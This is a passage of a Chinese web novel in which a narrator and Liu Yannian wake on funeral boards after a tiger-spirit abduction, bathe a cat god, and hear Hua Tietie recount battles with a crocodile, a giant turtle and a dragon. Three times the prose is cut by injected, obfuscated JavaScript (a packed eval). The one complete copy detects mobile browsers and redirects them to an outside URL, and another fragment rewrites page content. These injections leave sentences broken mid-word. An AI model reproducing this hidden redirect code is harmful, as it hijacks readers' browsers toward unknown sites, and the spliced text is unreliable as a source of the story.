神君完全像一只普通小喵咪一样,像是被柳延年突如其来的反应,惊到一般,叫了几声,往我怀里钻了钻,然后在我的抚摸下安定下来,舔着爪子,最后舒服地打着呼噜,眯眼小憩…… “不然呢?”没了柳延年的大袖子遮阳,眼睛顿时有些刺痛。我适应了一会儿,才仰头看着大惊小怪的柳延年,道:“神君在凡界就是一只普通的猫,你可给我记好了,别老是一惊一乍的。 方才都说好了,有些事你知我知天知地知,神君知,该忘的赶紧忘掉,忘不掉的就当一场梦,若是从你这里无意暴露了真相……说不定神君真的会让你继续无限流,到时候,可没有我陪着你哈,就你一人。” “啊啊啊,长安你可不要吓我啊。”柳延年慌里慌张的爬回我身边坐好,却丝毫没有真正的怯意,显然知道我是在跟他开玩笑。 “就吓你,就吓你。”我嘴上不饶人他,打了一个哈气,道:“我有些累了,想睡一会儿。”我实在没有精力了,想着等醒了,再带着柳延年走出这茂密的丛林。 神君叫我且安心休息,让我吩咐柳延年:“你抱着我下山吧,神君会给你指路的。” 闻言,柳延年将我打横抱起,神君则跳上他宽阔的肩头,一边喵喵叫,一边用尾巴为柳延年指路。 柳延年没再害怕,见他们配合的很好,我就渐渐安心地睡了。 我醒来的时候,正躺在凤临城,我们租赁的小院正堂之上,我起身一看,柳延年也正睡着呢。 却见,我和柳延年是南北着,平躺在硬硬的门板上,头朝大门,身盖白布。一般好人没这么躺着睡觉的,都是人突然没了,定制的棺材还没到,才这么放着的。 我顿时有些气恼,也顾不上神君哪里去了,只起身把柳延年一巴掌打醒,问他作的什么死?我虽能体谅,他昨晚跟着我一起折腾,又抱着我赶路下山,难免劳累。但是再累再乏,也不至于到家睡门板盖白布啊。 这不仅不吉利,关键拆门板,也太折腾了吧。柳延年到底长了个什么脑子,把我送回房间以后,他再回自己房间睡,不比这舒服又便宜(bianyi)吗?也不嫌晦气! 家里其他人呢?!由着柳延年这么胡闹!啧,对啊,他们就算由着柳延年胡闹,但又怎么会让我跟着一起躺板板呢? 我心头疑惑不已。 65. 喵喵战歌 已经换回男装的柳延年,从门板上醒来,一脸茫然地环顾四周,不等他说话,便听得外面,平安和郑清正一边忙着什么,一边小声伤心哭泣,说什么过了今日,就三天了,天这么热,花铁铁也不知道什么时候回来,再等下去身子怕是就要坏了,要不赶紧去白事铺子催一催,先叫棺材来,把人先放进去云云。 郑清点头应下,又说家里就咱们两个,实在忙不过来,还得多多雇些人来做帮佣,要办的风光,少不得人手云云。 平安说行,但人生地不熟的,叫郑清多花些钱,别省着,那些人看在钱的份儿上也尽心,花郎带着那些钱生前没花了,死了就全给他用上云云。 郑清说柳大哥带的钱都花的七七八八了,现下花的都是平安的了。 柳延年可带了不少钱,都买啥了,就花的七七八八了?我和柳延年百思不得其解,联系前面的话,是越听越瘆得慌。 颤颤巍巍走到正厅门口,只见得院子里白花花一片,银装素裹……真是,花了好大的价钱!!用心了啊这是!!! 平安说看看还有什么少的,再多备一点吧,铁铁说等她回来,一定要风光大葬,呜呜呜…… 平安说着又哭起来。 这特么够发送几十个人的了,还再多备一点?这特么也太风光了吧!!!我感觉脑子抽痛。 平安郑清俩人正边哭边忙着给我们准备布置灵堂的一应用品呢!一应丧葬物品堆得整个院子满满当当,只留了一条一人行的窄路。 柳延年看了腿都有些软了,我也好不到哪里去,虽然没怕过死,但是这幅场景也不是一下子就能接受的。 为什么一下子就确定东西都是给我们两个准备的呢?因为除了能从那俩大傻子的交谈上得知,最分明的就是角落里的小排位上,我和柳延年的名字都刻好了,就差描金了。 什么啊,我们就要被风光大葬!?确定我们是咽气儿了吗?睡着和死了,区分不出来吗?但凡懂点常识也不能一点常识也不懂啊? 我简直要气死!!!柳延年也一脸土色,那些东西几乎要用上了。 “有没有可能,我们还活着?”我们小心翼翼地问道。 按理说,正常这种情况,看见我们起死回生都要吓一跳吧。谁知我们担心的都多余了,郑清和平安他们两个没有一点儿惊慌,只稍稍愣了一下,就破涕而笑,两眼放光,随后喜极而泣。 平安跑过来抱着我们又哭又笑:“感谢上苍,你们终于醒了,终于活过来了,铁铁说,要是过了今日你们还没醒,就醒不过来了,就要我们把这些东西都挪进去,好好布置灵堂,棺材来了就把你们入殓。然后等着她,若是她能回来,她就亲自主持葬仪,若是她也死了,就把她和你放一个棺材里,一起葬了,呜呜呜,好感人,呜呜呜……还好你们醒了……” 什么啊,就好感人?我就知道你们这么弱智的行为,是花铁铁领导的结果,特么差点给我们活埋了,你,我的亲妹妹,你还在那好感动,我真是无语凝噎,根本不关心花铁铁死哪去了。 平安一口气说完,便抱着我哭得不能自已,我舍不得说她,就只能安慰她。郑清给我们讲述了前因后果。 说那晚我们在山君祠前祈祷,他们祷告完一睁眼,只见之前那些虔诚祷告的高手都已不知什么时候悄然离去,以他们的武力,不可能毫无察觉,他们觉得有些怪异,但也没多想。后来才知道那些高手根本不是人了,其实是已经被山君吃掉,成了山君麾下的伥鬼。 郑清说,当时祠前就我和柳延年还跟入了定似的跪在那里,一直在絮絮叨叨阵阵有词的低声许愿,他们也不好打扰,就在棂星门外等我们,不料山君祠后面忽然窜出一只山君,不等他们反应,便瞬间把我和柳延年两人给叼走了。 “等会儿,忽然窜出来一只山君,瞬间,把,我们俩,给叼走了?!怎么叼的?”我和柳延年实在想象不出,一只老虎一张嘴叼俩人的画面。 柳延年赶紧查看身上有没有虎牙留下的齿洞。还帮我检查了一下后脖颈子,要知道老虎叼人都是咬这里的。我把他的手打开,瞪了他一眼,骂他大傻子,要是真有老虎咬得大洞,这会儿都热热闹闹吹拉弹唱,哭哭啼啼的开席了。 郑清接着对我道:“哦,那山君体型巨大如犀牛,当时丛林子里猛然窜出来,一口咬住柳大哥的腰带,用麻绳一样的尾巴卷着你,然后像闪电一样,冲进密林,快如迅雷,霎时无影无踪,饶是我和堂邑夫紧追其后,也还是跟丢了。” 郑清又说,山君掳走了我们,动静闹得挺大,山里的其他高手们,便也加入搜寻。 这么大动静,都惊动了满山的高手了,我和柳延年却没一点儿反应自救,这合理吗?显然众人都有这个疑问。 平安道:“长安,你当时和柳延年像是失了魂一样,真的好奇怪,一点反应也没有,我们都大声叫你们来着,你们却像布娃娃一样,被山君任由摆布,毫不费力的就给叼走了,以你的身手,但凡当时你还有点意识,我们也不用着急了。” 这倒是,以我的本领,小小一只山君,根本不在话下。 郑清说,好在柳延年的合香珠断了,一颗一颗,掉了一路,他们沿着线索,直到天明时分,终于找到了虎穴,那山君有些道行,与众人缠斗,最后给堂邑夫三拳打死了。 “打死了,那尸身呢,虎鞭呢?”我急急问道,紧张地鼻孔都大了一圈,生怕虎鞭落入他人之手。 郑清抽了抽嘴角,忍着笑意,道:“噢,已经拿去找专门的师傅处理了,放心,特意嘱托过了。” 平安眼睛红红的,心有余悸地愤愤道:“长安,你都不知道,那山君坏死了,知道可能在劫难逃,却也不肯轻易放你和柳延年回来,居然把你们藏起来,塞到很难被发现的地缝里,那意思应该是它若侥幸活下来,就回去吃了你们,若是被打死了,你们正好陪葬。它有些灵性,应该是贪恋花郎的天生仙骨,你是顺道……” 平安顿了顿,没再说下去,可她的意思,我们分明听得懂。我脸色瞬间不好。 平安一把把我抱进怀里,这样就看不见我不乐意的神情了,接着道:“你还是头朝下给塞进地缝的,那地缝又隐蔽又深,堂邑夫探进去半个身子,清哥哥在外头拽着他,才合力把你们俩像拔萝卜一样拔上来的,你在地缝里待的太久了,你上来的时候脸都竖紫了。 当时你们气若游丝,我们怎么叫你们,你们都没反应,我们于是回来,找全城有头有脸的大夫都来瞧过了,都束手无策。好在花铁铁之前一门心思想要修仙,看过一些修炼的典籍,懂得一些道道儿,说你们应该是给山君吸食了精魂,叫我们且等三日,三日后,要是还不醒,就可能没救了,呜呜呜……” 花铁铁吩咐他们就先把该备的东西备下,免得到时候仓促。事情大体经过就是这样,我和柳延年已经在堂上放了两日了,今日是第三天。 为什么我和柳延年明明在无限流里经历一番奇遇,可在这个世界,事情却是这个样子呢?而且时间也出现偏差,这,到底是怎么回事? 忽然,我耳边鼓声大噪,随即响起一阵喵叫声,像歌曲一样,“喵喵喵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怪不得藏起来,一直不敢出来,神君啊神君,你能不能像爱惜你那些小白兔一样爱惜我,还是说当时根本没确定我能不能成功做你仆人,所以觉得无所谓? 随着《喵喵战歌》的结束,新的记忆越来越清晰,越来越身临其境,简直跟自己带着意识亲身经历的一般无二。 柳延年也大有此感,不自在起来,那副扭扭捏捏支支吾吾的神情等同于什么都招了。 我真是靠北了我,这厮是特么真的尿过!怪不得刚才鼻尖仿佛微微带着的那股尿骚味儿,这会儿越来越浓烈。 我狠狠瞪了一眼柳延年,叫郑清和平安赶紧把那些白花花的东西收拾了,请人拉走。便慌忙跑到后院井边打水,疯狂洗脸。 柳延年不好意思的跟到后院,一边帮我汲水,一边尴尬道:“我也不是有意的,我当时魂穿了,身体不受控制嘛,可能,应该,是看到神君真身的时候吓的……” 闭嘴,这么浓的尿骚味,显然你不止被吓尿了一次,哼! 柳延年说,那山君到底心智不全,可能分不太清人的头尾,也分不清人的反正面。不过那地缝实在又宽又深,咱俩并排塞正好能卡住,要是那山君再缺点心眼儿,给咱俩并排塞进去,咱俩能直接顺着地缝掉到地心去,虽然它回头也不好把咱们挖出来吃,但来救咱们的人也不好把咱们弄出来了。 “因祸得福吧,长安你就别计较了。”柳延年又给我提了一大桶水。 我们都觉得我们魂穿经历的是真的,身体在这个世界经历的也是真的,唯一被神君幻化出来的,应该就是那只愚蠢的山君。 正当我们拍板确定,忽然又有一段新的更加清晰的记忆闯入我们的大脑…… 66. 吸猫 新的记忆,冲击实在太大了,我愣了一下,下一刻我便舀了一瓢水,使劲儿漱口,拼命漱口,脑袋摇得和拨浪鼓一样。 将口中的水吐出,我愤恨地看着柳延年,“哕,你当时不是晕得和死猪一样吗?怎么还会那样……”虽然没进嘴巴里,但在嘴边也是很恶心的,我草,我真是服了你个柳延年了。 柳延年的脸红得滴血,用袖子遮了遮前身,支吾道:“晕着,又不是死了,男人嘛,睡着了晕了,身体也还是有反应的,有些东西是不受大脑控制的,而且在地缝里卡着的时候是竖着的,更容易充血。哎呀,你别想了,不想就不会哕了,再说都是幻境,你当真做什么。” “滚,去死吧。”果然,男人只有死了,才会没反应,但凡有点知觉,就受不了一点刺激。不,死了,还有巨人观呢!“啊……”我气急败坏的大叫。 柳延年慌得不行,“这事要怨就怨神君,当时咱俩魂都给他掬走了,但凡我还有点意识,也不能那样。” 神君忽然出现,从后院的院墙上优雅地跳下来,迈着轻巧的步子,走到我身边,对我喵喵了几声:“怨不得我,我只管制造两个世界的分境,其他的都是你们自己的感受和想象。” 都是我们自己的感受和想象?就是我活该是吧?我爱胡思乱想,我倒霉是吧?关键那根本也不是我想的啊? “神君说什么?”柳延年知道我和神君肯定又在交流,于是好奇地问。 “滚!”如果是想象,那肯定是柳延年这个乌龟混账王八蛋胡思乱想的。 神君淡然地看着我俩,说他有些辣眼睛,脑仁疼,他不想也没太有精力分清刚才那段记忆,到底是我俩谁胡思乱想的结果。 神君也能看见?啧,他搞出来的分镜,他能看不到吗? ……我滴天爷啊,神君大人拥有我这样的仆人,会不会觉得很没面子?!我如是想。 神君道:拥有这样的仆人不会,但有这样的主子多少有点丢脸。然后神君匆匆喵喵了两声咒语,于是幻境的一切,便不再随着我们的想象和感受,形成新的经历和回忆。 我擦,有咒语,你不早点念。 神君道:已经及时止损,念得够早了,不然不知道还会有什么让人神形俱灭的画面出现。 我又狠狠剜了一眼柳延年,心道:看来和神君共事,还需要好好磨合,以后才不会再出现这样的大无语事件。 神君说,那山君并非他的法相分身,而是一只真正的老虎,也还不是山君,而是一只想要更上一层楼成为山君的白额,那白额还一只大虫的时候,偶然入到困住神君的山君祠中,沾染了神君的灵力和气运,便有了一番造化。 眼下这白额正面临升阶。要成为山君,一般有两种途径,一是萌发心智修行得法,自然升为山君。若是资质一般,就要走第二条路加持辅助,便是要吃人了。 人是万物之灵长,最是滋养,吃人是提升修为最快的办法,而且老虎一旦有了自己的伥鬼,实力就会成倍增长,大部分老虎都会选择这条路。 我们之前在山君祠,看见的那些虔诚祷告的高手,其实就是被那只白额吃了肉身,转化成的伥鬼。 神君说,只要凑够九九八十一人,白额便成气候了,寻常人便奈何不得它了。不过,老虎升阶都有一劫,白额因为贪婪柳延年和我的肉身,死守洞穴,不肯离去,最终还是没能躲过此劫。 其实那白额,倒有些灵智,神君挺看好它的,若它肯安心修行,未必不能有所成就,但到底心急了一些,走偏了。它此番作乱,残害了不少人命,伤了阴鸷,落得道消身死的下场,也是应该。 如今,到底成了俗物,肉身只能给人拿来滋补。 老虎吃人和人吃动物一样,都属于天道,白额吃了人,又被人打死,这是因果循环。被吃的人和被打死的虎,各有各的劫难罢了。没有谁对谁错,自然没什么好指摘的,我也没去探问,神君以前吃没吃过人。 我抱着花狸子神君回到前院,欢喜地跟平安说我捡了这只小猫咪,要好生养着。 前院东西都已经收拾的差不多了,平安定好了一桌饭菜,我们都吃的狼吞虎咽。 平安喜欢干净,没洗过澡的猫咪,她是不会抱的,她又特别喜欢小动物,看见花狸子神君就忍不住去喂,但我要她拿个干净盘子盛着,说我这花狸子也爱干净,地上的不吃。 花狸子神君实在太可爱了,平安忍不住想抱,于是就忙前忙后给神君洗了一个泡泡浴,特地用了她自己专用的玫瑰精油皂,把神君洗的香喷喷的。 神君应该不太喜欢身上有这些特别的香气,但应该是特别享受平安给它做的温水spa,并没有给我传达不愿意的信息,我便由着他们去了。 平安一边洗一边说猫耳朵上都有聪明毛,聪明毛越长就代表猫咪越聪明,说这只猫的聪明毛是迄今为止她见过的最长的,说都可以扎两个小小的揪揪,戴两个蝴蝶结了。 我说你可别把我的猫咪按照猪长平那样打扮,不然我就不给她伺候我的猫咪了。平安啧了一声,算是答应了。 平安洗的很用心,神君的小爪子都有仔细揉搓过,整个过程,神君都舒服的打着呼噜,平安从头到尾给神君洗了两遍,最让她感到惊奇的是,神君的蛋蛋是一个八卦图。 平安觉得此猫不是凡品,于是用毛巾把神君裹成襁褓里的小宝宝一样,抱来正堂,给我们展示,道:“你们看多标准的八卦图,哎,还挺球弹的。”说着还用手戳了戳,拽了拽,郑清也觉得稀奇,也用手轻轻戳了戳。 球弹是个什么意思先不论,那可是神君的蛋蛋啊!!!神君也是,都做凡猫了,整这么花里胡哨的蛋蛋干什么,这不是故意勾引我妹妹戳吗? 柳延年震惊不已地看了看我,我亦呆若木鸡,却并没有感受到神君不悦的心意,因为那个时候神君已经被平安伺候的舒服的睡昏过去了。 但他有法器晓天镜,醒来以后自然在镜中看到一切,便一直懊悔,大吼大叫跳脚着怪自己大意了。又怨我为什么没有及时阻止。 我觉得也不能老是我一个人丢脸,主仆彼此间都有丢人的事情互相知晓,是件好事。就好比当初我想要和花铁铁稳定关系,交换一个最私密最不为人知的秘密,就可以达成。 于是便安慰神君说这都是凡猫必须经历的事情,没什么好阻止的,哪只凡猫没给人戳过蛋蛋啊,请神君适应。神君当即炸裂!挣扎着要出襁褓,平安还没稀罕够,自然不愿意神君跑掉。 我劝解神君顺从,道:我妹妹还小不懂事,让神君莫和她计较,再让我妹妹抱一会儿。回头私下里它当主子的时候,叫我干什么都行。 平安太喜欢洗完澡以后,毛发蓬松,香喷喷的花狸子神君了,本来只是抱着用脸用脖子蹭,后来直接对着神君一顿狂亲,我就知道这顿澡不白洗,我妹妹不白伺候猫。 柳延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894047|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年说那是吸猫癌晚期。吸猫癌晚期是什么且不论,反正襁褓里的神君最后失去了所有力气和手段,一脸我不干净了的虚脱和意冷心灰…… 做猫哪是这么容易的,做一只有主的猫更是要求良多,第一件事儿就是要学会取悦,神君的猫路还很长呢,得慢慢适应啊。神君经历过这种惊吓后,有一段时间见着平安就躲,后来被抓住的次数多了,也就从了,再后来甚至很是享受平安的侍奉,就完全适应了。 唉,哪有驯服不了的猫啊,不驯服,那还是没伺候舒服伺候爽,爽了,舒服了,乖巧如棉,温柔似水!!我自始至终都没觉得自己“逼良为娼”! 饱餐一顿,身上的疲乏全然消散,用柳延年的话就是元气满满地复活了。 我们这个团队出了打虎英雄,本来是要把堂邑夫和郑清拉去,带着红花,坐着轿辇,全城游街的,但因为我们团队折损了一个“姑娘”,一个小童,不宜庆祝。 所以官府只颁布了告示,四处张贴,抬着那具虎尸绕城示众。富商们出面将我们租赁的小院买下来,送给我们专门用来好好办丧事。官府也下放了奖金,但都被郑清和平安迅速花掉了。 堂邑夫把这边交给郑清和平安料理,就跟随花铁铁,去江中降龙去了。 “我们都这样了,那俩人还去降龙啊。”柳延年不可置信,“这是一家人嘛,我怎么完全感受不到他俩对咱们的亲情呢?长安,我不是挑事啊,我就算了,你都那样了,堂邑夫和花铁铁,还去降龙,花铁铁就算了,堂邑夫……” “没事儿,江湖儿女,看淡生死,这都不是事儿。”我打断柳延年,转了转眼睛,顿了顿道:“你挑不挑事儿我不管,我也懒得管,但是我大螳螂不是你能非议的懂吗?”我最是护短,听不得别人说堂邑夫不好,不等柳延年回答,我接着道:“咱们收拾一下,也去江边看看去,你还继续扮女装还是就这样?” 柳延年觉得出门的话,就还是继续扮女装吧,不然被人看见,不好解释,再叫人误会成妖孽给打了,更不好,最重要的是,之前他置办的几身女装还没穿,得赶紧轮换着穿一穿,不然就浪费了,说完转身进了他的房间。 “我钱呢,你俩把我钱……都买纸了?”只听得柳延年在房里一边在换衣服,一边大喊大叫地质问。 平安虚虚地道:“嗯,不光有纸,还有别的,上好的棺木,墓地也选的风水宝地,这两个占了大头,吹手班子也请的是整个汉中郡最大最好的,付了定金了,还有酒席,花铁铁说人多了好,人多了热闹,就定了三天的流水席,凤临城和没走的那些高手,谁都能来吊唁,都能来吃席,真的是好大的排场,绝对的风光,这些原本等花铁铁回来,便安排就位的……” “好了好了别说了,我听着都瘆得慌,嘤嘤嘤,我的钱啊我的钱,你们可真舍得花啊,那可是我万园街名下产业三成的利润啊……都化作了纸……你们对我可真是用心啊,你们留着自己花我都没那么心疼……嘤嘤嘤……”柳延年在屋里一边更衣,一边不停地嘤嘤。 平安有些抱歉地说,千金散尽还复来,人还好好活着,就算散尽万金,她也欢喜情愿。 我见不得妹妹被数落,就没好气地责怪柳延年,“谁叫你出门带着么多钱?收拾好了吗?快出来走,别化妆了,就换身衣服戴个面纱就行,晚了,可就赶不上给花铁铁收尸了,江里的鱼凶得很,吃食快着呢。”我有些不耐烦了,神君早都出发了。 67. 除恶 之前从长安城出发的时候,一个平安疯狂带行李,一个柳延年疯狂带家当,说什么穷家富路。我劝他行走江湖,够用就行,没必要带那么多,他非是不听。 我奚落柳延年,这下好了吧,他不花,有人替他花,这不就等同于,他死了,有人替他活一样吗? 一边说着,一边出门上路,我和柳延年同乘一骑,平安和郑清同乘一骑。 柳延年听了我的话,愣了一下,良久才道:“倘若我死了,不必大费周章,钱多钱少,你们留着自己花吧,人啊,活着的时候相亲相爱,真心真意,就好。死了,花费再多,也没啥意思。而且,我不觉得我死了,有谁能替我活下去,我的人生是独一无二的,没人能替,我的理想,我的抱负,只有我自己能完成,就比如,如果这次我真的死了,我那架没做完的钢琴,就算是平安也不能替我做完。” 哟,竟然对我之前的那番话又不一样的见地,“那你就好好活着,以后别头脑一热,就跟着硬上。”钢琴?这厮又说些有的没的我不懂的。我扯了扯一字连环眉,检查粘没粘牢固。 平安惊讶柳延年居然在做钢琴,感叹柳延年有什么想法和愿望都能努力实现,对他十分佩服。 柳延年说也没什么,说他们毕竟有不同常人的眼界和经历,如今背靠着整个大汉帝国,财力物力,能工巧匠,都可尽力借用,此等机会不是什么人都有的,有什么愿望不赶紧竭力实现等啥呢?他现在就是想干什么就干什么,想要什么就要什么,没有的就自己弄自己造,随心所欲。什么是借东风,这就是借东风,什么是人生得意须尽欢,这就是人生得意须尽欢。 这小子说的……啧,还怪有道理的。 郑清也不禁回味,低声念叨:背靠帝国,借东风? 柳延年又道,他要创造的东西可多了,问平安有什么想要的,尽管说。 平安从震动中回过神来,说不用,她有什么想要的可以自己做。说完,她便倚在郑清身前沉思默想。 来到江边儿,正看见花铁铁在涛涛江水中的江心石上负手而立,仰头长叹,虽是背对着我们,但我依旧能看出她的郁郁弗志,似心中有万般块垒,不得抒发,而苦闷不已。 我问迎上前来接我们的堂邑夫:“她干什么呢,我们来了也不过来?做什么一副老谋深算又算不明白的样子?” 堂邑夫道:“铁铁遇到瓶颈了,降龙任务有点进行不下去了。” 这不很正常嘛?没人觉得降龙任务能进行的下去啊,让她别接任务,别接任务,可她死倔死倔得非是不听,这会儿又搁那毫无头绪的犯愁。 岸边跟着来看热闹的不少,高高挂起的降龙旗随风飘扬,现在拔旗说不干了,更丢人。到底是一个团队,眼下断不能搞分裂,打退堂鼓,得一起想办法共渡难关,能出人出人能出力出力,不能也得捧个场,在一边鼓劲造势。 众人拾材火焰高,孤勇哪敌众智,行走江湖这么多年,这个道理我们都懂,她这会儿犯得什么晕? “那还不赶紧回来集思广益,一个人在那里琢磨什么?瞧她那深沉的样子。啧!”我酸酸地道,实则内心觉得男子装扮的花铁铁,负手而立于江上的样子还挺帅的,于是也昂首挺胸,挺着圆鼓鼓的小肚子,背起手来,嘴上却依旧揶揄:“她几斤几两别人没数,她没数吗?这么多年了,自己什么水平很难接受吗? 她就应该放弃任何挣扎,不止一次地,百次千次甚至万次地,清醒地自我告诫:以她那贫瘠的智慧,遇上难题,不是给多些时间想,就能想会的,不会就是不会,一两年也不会,三年五年也不行,一辈子也是不会。 去,叫她放弃,叫她赶紧回来,叫她认清自己,别寻思了,一会儿脑瓜子该疼了。” 柳延年跟着附和说:“对呀对啊,再晚一会儿脑瓜子该烧冒烟了干废了。她就适合干点体力活儿,但凡遇到点需要智力的,交给长安准没错。哎哎哎,对了对了,我给你们出道题,考考你们智力哈,一炷香时……” 我打断柳延年叫他闭嘴别打岔,平安把他拉一边好奇地问什么题,他还卖关子说一会儿人到齐了再说。我嫌他太闹腾,把他支开,叫他四处逛逛,找找神君哪去了。刚才还能感应到,这会儿又没了踪迹。神君太自由散漫了些,回头得和他商量一下。 我催促犹犹豫豫拖拖拉拉的堂邑夫赶紧去叫花铁铁上岸,堂邑夫吃着我们带来的大饼子,转了转眼睛,顿了顿道:“嗯……长安,要不还是你过去吧,她站那里不回来,不光是想问题,也不是不想回来,是……她有她的苦衷,你去看看就知道了,呐,给她带块饼。” 说着堂邑夫拿了一块儿饼给我。 “苦衷?!有什么苦衷?饿死她算了,平安这么喊她过来吃饭,她都无动于衷,怕是不饿。瞧她那不可一世的样子,看着更傻了,别是还添了新病,聋啦?!”我摸着堂邑夫给的饼子有些凉了,就放了回去,又翻了翻,从饼子中间拿了两块还热乎的,用油纸包好,放进怀中。 堂邑夫不喜欢我这样说花铁铁,“哎呀,你别这样说她,真有苦衷,你去了就知道了,这两天因着你的事儿,她都没怎么吃,今晌午又……哎呀,我不说了,你赶紧自己去看吧,这两个咸鸭蛋也给她带上。” 堂邑夫将咸鸭蛋,放进我兜里,还拍了拍,又给我转了个身,往前送了送,推了推,打发我赶紧去。 “行吧,你且慢慢吃,我倒要看看那个没心没肺的大虎叉有什么苦衷……”说完我飞身而起,凌波而去。 身后传来堂邑夫的喊叫:“有话好好说,别刺激她。” 我滴天爷啊。我倒吸一口凉气,心道:我擦,确实是有不能回去的苦衷。 “铁铁……你咋啦这是?!”我看着花铁铁肿成猪头的面颊,震惊的差点一个没站稳,掉入江中。 谁啊,这是?这么大本事,能给花铁铁呼成这样?啊哈哈哈…… 花铁铁艰难地抽了抽嘴角,瞪了我一眼,接过我递上的大饼子,道:“果然没死,没死就好,我就知道祸害遗千年,你这小祸害轻易死不了。说说吧,到底咋回事儿。”她倒反问起我来了。 看着花铁铁的猪头,我哈哈笑着根本停不下来,一边给花铁铁扒咸鸭蛋,一边给她简单交代了一下我和柳延年入虎穴的经过。 江心石看着挺小,其实很大,像一艘船一般,我对岸上招了招手,堂邑夫带着柳延年,郑清带着平安一同飞身过来,他们看见花铁铁的脸,也都惊了一跳。柳延年怕花铁铁给他扔江里喂鱼,忍得都哭了,身体抽搐的和羊癫疯一样,也不敢笑一声。 原是那日,从山中伏虎回来以后,吩咐完一切,花铁铁便和堂邑夫策马出发,顺着江水寻找蛟龙痕迹。他们先是遇到在江中假装溺水,骗人来救,然后伺机把人吃掉的鳄鱼。岸边懂得真实情况的人,都劝花铁铁不要过去,别理那鳄鱼,它吃不到人自然就走了。花铁铁觉得要为民除害,此鱼必死,于是一跺脚飞身过去,照着鳄鱼嘴巴子啪啪就是干。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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花铁铁想要用内力将水冻住,可那巨鼋翻转速度太快。 眼见那膄客满的船就要倾覆,船上那些愚昧的人已经将妇人和小儿逼至绝境。堂邑夫负责吸引巨鼋注意力,继续与之缠斗,减缓旋涡运行速度。 花铁铁出水救人,时间紧迫,她也不废话,抬手出招,电光火石间,把那些不讲理的人全部制服,命人把帆撑住,飞身半空,运气御风,灌满船帆,终于在旋涡彻底形成气候吞噬一切之前,送大船顺利靠岸。 花铁铁见众人安全,又用锁子鞭将堂邑夫拽上岸来,随即返回江中,潜到水底运气蓄力,打出几十个水柱,才将巨鼋打上岸来。 那巨鼋上了岸,实力依然不减,堂邑夫差点没看住,让它跑了。堂邑夫不停的对着巨鼋暴击,拦住去路,巨鼋索性缩在壳里不出来,企图将堂邑夫内力消耗殆尽。 此时花铁铁冲出水面,一拳将巨鼋打翻过去,然后用锁子鞭,把它当陀螺给抽了,不知玩了多久,才尽兴。 那巨鼋转啊转,终于不转了,花铁铁才把它翻转回去,然后一个飞身高高跃起,接着从天而降,重重一脚踹在巨鼋背上,巨鼋原本缩在壳子里的头,被花铁铁这么一踹,直接一下子伸出老长。 说时迟那时快,花铁铁运气一甩,腰间的月精轮弯刀随即而出,将巨鼋脖子生生砍断。 瞬间人们的欢呼声,响彻峡谷…… 巨鼋自然也被堂邑夫收拾妥当,亦请人送回小院儿。 都送回小院儿了?呀,我们出门早了,晚一些,这些东西大概都能看到。转头一想,啧,要是花铁铁能等我和柳延年醒了,再一起出发,这些我们都能亲身经历,那多好啊。那鳄鱼的鞭,巨鼋的鞭,也都是上好的补品。 68. 龙鳞 “就这么着给巨鼋砍了?不是说乌龟缩进壳子里,它不想出来谁也没招吗?”我不解地问道,我觉得花铁铁有些夸大,有点不太相信。毕竟刚才我给她讲述我和柳延年落入虎穴的事儿,也是经过美化的啊。 “很简单啊。”花铁铁轻松道。 刚好一只乌龟正在江心石边边儿上晒太阳,花铁铁趁其不备,用鞭子把它缠住取过来,那乌龟立即蜷缩在壳中,花铁铁上去就是一脚,“哈!”的一声,重重踩在龟壳上。只见乌龟四肢和头,甚至连尾巴都跟着一起瞬间膨出,乌龟~头和脖子伸的巨长,平安吓得捂着嘴大叫一声,再看那三个男的神色也都不好。 这个画面还真是……哎呀我滴个天爷啊,这虎叉是真虎啊!面对这种始料未及的情形,我也小躯一震,赶紧上前推开花铁铁,一脚把那可怜的乌龟踢入江中。 “那……你脸是怎么回事儿啊?”我仰着头,满脸天真无邪地问。 花铁铁深深看着我,确定我的眼中只有关心和心疼,没有嘲笑,更没有幸灾乐祸,“你能看见我脸蛋儿的浮肿上有龙鳞的印记吗?”花铁铁伸过头来,指着脸颊认真地问我。 龙鳞,大家一听,都忍不住上前仔细观摩,却什么也没有发现。 花铁铁尴尬地挠着后脑勺,哈哈了一下,说可能是龙太大了,龙鳞也大,所以在她脸上没体现出来。 言下之意,分明是……“你给龙扇的嘴巴子啊?!”众人不由发问。 我们看了看花铁铁,又看了看堂邑夫,堂邑夫一脸茫然道,他也才听说,之前也什么都不知道,花铁铁没让他跟着下水降龙。 花铁铁看着我们这些少见多怪的凡夫俗子,故作高深地叹了口气,一边吃着卷了咸鸭蛋的大饼子,一边又继续开始给我们讲述。 老唐末年,花家军覆灭以后,大乱战全面爆发,老唐节节败退,战线全面失守。 眼见中原不保,唐皇最终南迁。途径汉中,过汉水时,花元帅遗物——六合觉龙枪,掉入水中。 唐皇派人几次下水捕捞,都毫无斩获。唐皇乃感天意使然,便下了道圣旨,许六合觉龙枪化为青龙,在此遁世修行。 花铁铁说,那传言中在此现身的蛟龙,便是她们花家的六合觉龙枪所化青龙的法相浮影。她下水以后,以精血为引,寻得其踪迹,那青龙感应到花家血脉,便也现身,只是连续打了两次照面,都是刚说了一个字,就被青龙甩尾,一嘴巴子给扇上来了。 我问确定是她花家的那条龙吗? 花铁铁一撸袖子,给我展示她手臂上的伤痕,说是血脉感应,千真万确是她家的龙。 怪不得老闻到一股血腥味,我赶紧拿出药匣子,给她上药包扎,又给她脸蛋儿涂药消肿。 